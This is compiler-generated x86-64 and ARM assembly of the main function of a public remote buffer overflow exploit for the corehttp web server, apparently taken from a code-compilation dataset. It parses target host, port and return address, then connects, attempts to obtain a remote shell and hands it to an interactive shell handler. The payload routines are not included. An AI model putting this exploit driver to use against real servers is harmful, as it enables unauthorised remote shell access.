	.file	"extr_4243.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"[*] corehttp[v0.5.3alpha]: httpd remote buffer overflow exploit.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n"
	.align 8
.LC1:
	.string	"main(): allocating memory failed"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC2:
	.string	"%x"
.LC3:
	.string	"h:p:r:"
	.section	.rodata.str1.8
	.align 8
.LC4:
	.string	"return address must be a multiple of 4."
	.align 8
.LC5:
	.string	"return address contains a lowercase character."
	.section	.rodata.str1.1
.LC6:
	.string	"[*] target\t\t\t: %s:%d\n"
.LC7:
	.string	"[*] return address\t\t: 0x%.8x\n"
	.section	.rodata.str1.8
	.align 8
.LC8:
	.string	"[*] *sprocket replacement\t: 0x%.8x\n\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r12
	.cfi_def_cfa_offset 16
	.cfi_offset 12, -16
	lea	r12, .LC3[rip]
	push	rbp
	.cfi_def_cfa_offset 24
	.cfi_offset 6, -24
	mov	ebp, edi
	lea	rdi, .LC0[rip]
	push	rbx
	.cfi_def_cfa_offset 32
	.cfi_offset 3, -32
	mov	rbx, rsi
	call	puts@PLT
	mov	eax, DWORD PTR DFL_RETADDR[rip]
	mov	DWORD PTR tbl[rip], eax
	.p2align 4,,10
	.p2align 3
.L2:
	mov	rdx, r12
	mov	rsi, rbx
	mov	edi, ebp
	call	getopt@PLT
	cmp	DWORD PTR EOF[rip], eax
	je	.L21
	cmp	eax, 112
	je	.L3
	cmp	eax, 114
	je	.L4
	cmp	eax, 104
	je	.L22
	mov	rdi, QWORD PTR [rbx]
	call	usage@PLT
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L3:
	mov	edi, DWORD PTR optarg[rip]
	call	atoi@PLT
	mov	DWORD PTR tbl[rip+16], eax
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L22:
	cmp	QWORD PTR tbl[rip+8], 0
	jne	.L2
	mov	edi, DWORD PTR optarg[rip]
	call	strdup@PLT
	mov	QWORD PTR tbl[rip+8], rax
	test	rax, rax
	jne	.L2
	mov	esi, 1
	lea	rdi, .LC1[rip]
	call	printe@PLT
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L4:
	mov	edi, DWORD PTR optarg[rip]
	lea	rdx, tbl[rip]
	lea	rsi, .LC2[rip]
	call	sscanf@PLT
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L21:
	cmp	QWORD PTR tbl[rip+8], 0
	je	.L10
	mov	eax, DWORD PTR tbl[rip+16]
	test	eax, eax
	je	.L10
.L11:
	mov	ebx, DWORD PTR tbl[rip]
	test	bl, 3
	jne	.L23
.L12:
	movzx	ebp, bl
	mov	edi, ebp
	call	toupper@PLT
	cmp	ebp, eax
	jne	.L13
	movzx	ebp, bh
	mov	edi, ebp
	call	toupper@PLT
	cmp	ebp, eax
	je	.L24
.L13:
	mov	esi, 1
	lea	rdi, .LC5[rip]
	call	printe@PLT
.L14:
	mov	edx, DWORD PTR tbl[rip+16]
	mov	rsi, QWORD PTR tbl[rip+8]
	lea	rdi, .LC6[rip]
	xor	eax, eax
	call	printf@PLT
	mov	esi, DWORD PTR tbl[rip]
	lea	rdi, .LC7[rip]
	xor	eax, eax
	call	printf@PLT
	mov	eax, DWORD PTR tbl[rip]
	lea	rdi, .LC8[rip]
	lea	esi, 512[rax]
	xor	eax, eax
	call	printf@PLT
	mov	esi, DWORD PTR tbl[rip+16]
	mov	rdi, QWORD PTR tbl[rip+8]
	call	corehttp_connect@PLT
	mov	rdi, QWORD PTR tbl[rip+8]
	mov	esi, DWORD PTR SPORT[rip]
	call	getshell_conn@PLT
	mov	edi, eax
	test	eax, eax
	jle	.L15
	call	proc_shell@PLT
.L15:
	xor	edi, edi
	call	exit@PLT
	pop	rbx
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	xor	eax, eax
	pop	rbp
	.cfi_def_cfa_offset 16
	pop	r12
	.cfi_def_cfa_offset 8
	ret
.L10:
	.cfi_restore_state
	mov	rdi, QWORD PTR [rbx]
	call	usage@PLT
	jmp	.L11
.L23:
	mov	esi, 1
	lea	rdi, .LC4[rip]
	call	printe@PLT
	mov	ebx, DWORD PTR tbl[rip]
	jmp	.L12
.L24:
	mov	ebp, ebx
	sar	ebp, 16
	movzx	ebp, bpl
	mov	edi, ebp
	call	toupper@PLT
	cmp	ebp, eax
	jne	.L13
	shr	ebx, 24
	mov	edi, ebx
	call	toupper@PLT
	cmp	ebx, eax
	jne	.L13
	jmp	.L14
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	tbl,24,16
	.comm	optarg,4,4
	.comm	SPORT,4,4
	.comm	EOF,4,4
	.comm	DFL_RETADDR,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_4243.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"[*] corehttp[v0.5.3alpha]: httpd remote buffer over"
	.ascii	"flow exploit.\012[*] by: vade79/v9 v9@fakehalo.us ("
	.ascii	"fakehalo/realhalo)\012\000"
	.align	2
.LC1:
	.ascii	"main(): allocating memory failed\000"
	.align	2
.LC2:
	.ascii	"%x\000"
	.align	2
.LC3:
	.ascii	"h:p:r:\000"
	.align	2
.LC4:
	.ascii	"return address must be a multiple of 4.\000"
	.align	2
.LC5:
	.ascii	"return address contains a lowercase character.\000"
	.align	2
.LC6:
	.ascii	"[*] target\011\011\011: %s:%d\012\000"
	.align	2
.LC7:
	.ascii	"[*] return address\011\011: 0x%.8x\012\000"
	.align	2
.LC8:
	.ascii	"[*] *sprocket replacement\011: 0x%.8x\012\012\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r3, r4, r5, r6, r7, r8, r9, r10, fp, lr}
	ldr	r4, .L28
	mov	r6, r0
	mov	fp, r4
	ldr	r0, .L28+4
	mov	r5, r1
	bl	puts
	ldr	r3, .L28+8
	ldr	r8, .L28+12
	ldr	r3, [r3]
	ldr	r7, .L28+16
	ldr	r9, .L28+20
	ldr	r10, .L28+24
	str	r3, [r4]
.L2:
	mov	r2, r7
	mov	r1, r5
	mov	r0, r6
	bl	getopt
	ldr	r3, [r8]
	cmp	r3, r0
	beq	.L24
	cmp	r0, #112
	beq	.L3
	cmp	r0, #114
	beq	.L4
	cmp	r0, #104
	beq	.L25
	ldr	r0, [r5]
	bl	usage
	b	.L2
.L3:
	ldr	r0, [r9]
	bl	atoi
	str	r0, [r4, #8]
	b	.L2
.L25:
	ldr	r3, [r4, #4]
	cmp	r3, #0
	bne	.L2
	ldr	r0, [r9]
	bl	strdup
	cmp	r0, #0
	str	r0, [r4, #4]
	bne	.L2
	mov	r1, #1
	ldr	r0, .L28+28
	bl	printe
	b	.L2
.L4:
	mov	r2, fp
	mov	r1, r10
	ldr	r0, [r9]
	bl	sscanf
	b	.L2
.L24:
	ldr	r3, [r4, #4]
	cmp	r3, #0
	beq	.L10
	ldr	r3, [r4, #8]
	cmp	r3, #0
	beq	.L10
.L11:
	ldr	r5, [r4]
	tst	r5, #3
	bne	.L26
.L12:
	and	r6, r5, #255
	mov	r0, r6
	bl	toupper
	cmp	r6, r0
	bne	.L13
	asr	r6, r5, #8
	and	r6, r6, #255
	mov	r0, r6
	bl	toupper
	cmp	r6, r0
	beq	.L27
.L13:
	mov	r1, #1
	ldr	r0, .L28+32
	bl	printe
.L14:
	ldmib	r4, {r1, r2}
	ldr	r0, .L28+36
	bl	printf
	ldr	r1, [r4]
	ldr	r0, .L28+40
	bl	printf
	ldr	r1, [r4]
	ldr	r0, .L28+44
	add	r1, r1, #512
	bl	printf
	ldmib	r4, {r0, r1}
	bl	corehttp_connect
	ldr	r3, .L28+48
	ldr	r0, [r4, #4]
	ldr	r1, [r3]
	bl	getshell_conn
	cmp	r0, #0
	ble	.L15
	bl	proc_shell
.L15:
	mov	r0, #0
	bl	exit
	mov	r0, #0
	pop	{r3, r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L10:
	ldr	r0, [r5]
	bl	usage
	b	.L11
.L26:
	mov	r1, #1
	ldr	r0, .L28+52
	bl	printe
	ldr	r5, [r4]
	b	.L12
.L27:
	asr	r6, r5, #16
	and	r6, r6, #255
	mov	r0, r6
	bl	toupper
	cmp	r6, r0
	bne	.L13
	lsr	r5, r5, #24
	mov	r0, r5
	bl	toupper
	cmp	r5, r0
	bne	.L13
	b	.L14
.L29:
	.align	2
.L28:
	.word	tbl
	.word	.LC0
	.word	DFL_RETADDR
	.word	EOF
	.word	.LC3
	.word	optarg
	.word	.LC2
	.word	.LC1
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	SPORT
	.word	.LC4
	.size	main, .-main
	.comm	tbl,12,4
	.comm	optarg,4,4
	.comm	SPORT,4,4
	.comm	EOF,4,4
	.comm	DFL_RETADDR,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
